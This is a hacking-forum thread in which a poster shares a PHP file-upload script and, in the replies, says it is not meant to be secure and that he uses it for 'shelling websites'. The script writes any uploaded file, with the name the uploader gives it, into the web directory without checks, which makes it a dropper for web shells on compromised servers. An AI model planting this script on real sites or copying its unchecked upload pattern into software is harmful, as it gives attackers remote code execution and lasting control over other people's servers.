![]() |
|
Upload Script - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Hacking Tools (https://sinister.li/Forum-Hacking-Tools) +--- Thread: Upload Script (/Thread-Upload-Script) |
Upload Script - Nefarious - 08-16-2013 Here is a PHP upload script, this script can help out in multiple different situations.
PHP Code: <head>
<style>
<!--
p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}-->
</style>
</head>
<table style="BORDER-COLLAPSE: collapse" cellspacing="0" bordercolordark="#66" cellpadding="5" height="1" width="100%" bgcolor="black" bordercolorlight="#c0c0c0" border="1">
<tr>
<a bookmark="minipanel" style="font-weight: normal; color: #009900; font-family: verdana; text-decoration: none">
<td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
<center>Upload<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="act" value="upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900">
<input type="file" name="userfile" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><input type="hidden" name="miniform" value="1" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900">
<input type="submit" name="submit" value="Upload" style="font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #66; background-color: #009900"><br><br>
<?php
$uploaddir = "";
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (isset($_FILES['userfile']['name'])) {
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "The file ". basename($_FILES['userfile']['name']) ." has been uploaded";
} else {
echo "There was an error uploading the file. please try again!";
}
}
?>
</form>
</center></td>
</tr>
</table>
</a>
RE: Upload Script - ErroraBorealis - 08-16-2013 Alright, now set up wamp and upload this to the root, and give me the address aso i can sotre shit on your HDD. Nice share though. Is it secure? RE: Upload Script - Nefarious - 08-16-2013 (08-16-2013, 10:59 PM)Sinisterkid Wrote: Alright, now set up wamp and upload this to the root, and give me the address aso i can sotre shit on your HDD. It's not meant to be secure, I use it for shelling websites. RE: Upload Script - ErroraBorealis - 08-17-2013 (08-16-2013, 11:03 PM)Kirito Wrote: It's not meant to be secure, I use it for shelling websites. Is it black with green text? otherwise I don't think it's good enough and I'll make some themes. xD RE: Upload Script - Nefarious - 08-17-2013 (08-17-2013, 12:10 AM)Sinisterkid Wrote: Is it black with green text? otherwise I don't think it's good enough and I'll make some themes. xD Nope lol. Feel free to make a leet hecker theme. |